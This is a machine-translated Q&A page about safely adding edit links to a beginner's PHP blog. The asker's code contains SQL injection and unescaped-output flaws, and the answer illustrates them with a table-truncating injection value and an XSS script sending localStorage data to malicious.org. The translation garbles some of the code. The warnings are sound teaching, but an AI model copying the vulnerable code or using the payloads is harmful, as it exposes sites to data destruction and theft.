2017-10-10 143 views
0

所以,我是PHP和SQL的初學者。我正在創建一個簡單的博客。我有index.php,在那裏發佈博客和blog.php,它顯示博客文章。我希望能夠在blog.php上的每篇博文中添加一個編輯鏈接。一旦你點擊這個編輯鏈接,你可以在另一個頁面上編輯博客。我想知道什麼是最安全的方法,而不使用框架。這裏是blog.php的代碼:安全地編輯博客文章

<?php include("session_start.php")?> 

<?php 

$sql = "SELECT * FROM posts WHERE user_name='$user_name' ORDER BY post_date DESC"; 

$result = mysqli_query($connection, $sql) or die(mysqli_error($connection)); 

?> 

<html> 
    <head> 
     <title>Blog</title> 
<!-- Latest compiled and minified CSS --> 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" > 

<!-- Optional theme --> 
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" > 

<link rel="stylesheet" href="styles.css" > 

<!-- Latest compiled and minified JavaScript --> 
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 

    </head> 
    <body> 

<div class="container"> 
    <div class="row"> 

<div class="align-right"> 
<a href='index.php'>Post a Blog</a> | <a href='account_settings.php'>Account Settings</a> | <a href='logout.php' onclick="return confirm('Are you sure?')">Logout</a> 
</div> 

<h1>Blog</h1> 

<?php 
while($column = mysqli_fetch_assoc($result)){ 
?> 
<h2><?php echo $column["post_title"]?></h2> 
<div class="view-post-content"><?php echo $column["post_content"]?></div> 
<p class="category">Category: <?php echo $column["post_category"]?></p> 
<p>This post was written <?php echo $column["post_date"]?>.</p> 
<?php 
} 
?> 

</div> 
</div> 

</body> 
</html> 

<?php include "footer.php";?> 
+0

你在你的PHP應用程序的任何類型的用戶身份驗證設置的?這可能是第一個開始的地方。在博客文章的每個請求中,PHP會驗證用戶是誰,他說他是誰,他有權讀取/編輯/刪除給定的帖子等。 –

+0

如果我們談論「安全的方式」,那麼它的一個廣泛的問題。但如果你只需要編輯博客文章,只需發送博客文章ID到編輯頁面,並通過其ID從數據庫獲取博客數據。 – arisalsaila

+0

但是不發送博客ID有點不安全,因爲其他人可以猜測這些ID訪問頁面? – Julian

回答

0

不能在說一個詞,而是「要設法使基於您的代碼示例一命中,以及一些基礎知識。

  1. SQL注入

    $ SQL = 「SELECT * FROM帖子其中user = '$ USER_NAME' ORDER BY DESC POST_DATE」;

    猜發生了什麼事,如果$user_name = "'TRUNCATE posts;"

  2. XSS(跨站腳本) 例如,如果您應該知道,惡意用戶可以注入客戶腳本,所以當你將顯示保存的帖子,將有類似的值:

    $ post ='哇,酷博客! < SCRIPT> $。員額( 'http://malicious.org/',{} localStorage.STOLE_USER_DATA_N_PASSWORDS)</SCRIPT>」加密後

  3. 存儲安全數據(DB原不保存passwods) 總是隱窩他們 http://php.net/manual/en/function.crypt.php

有很多,很多其他的事情,甚至提到它都將是一本書。 但是,如果你只是玩這些提示將幫助你。

而且ofcourse谷歌,讀,谷歌... :)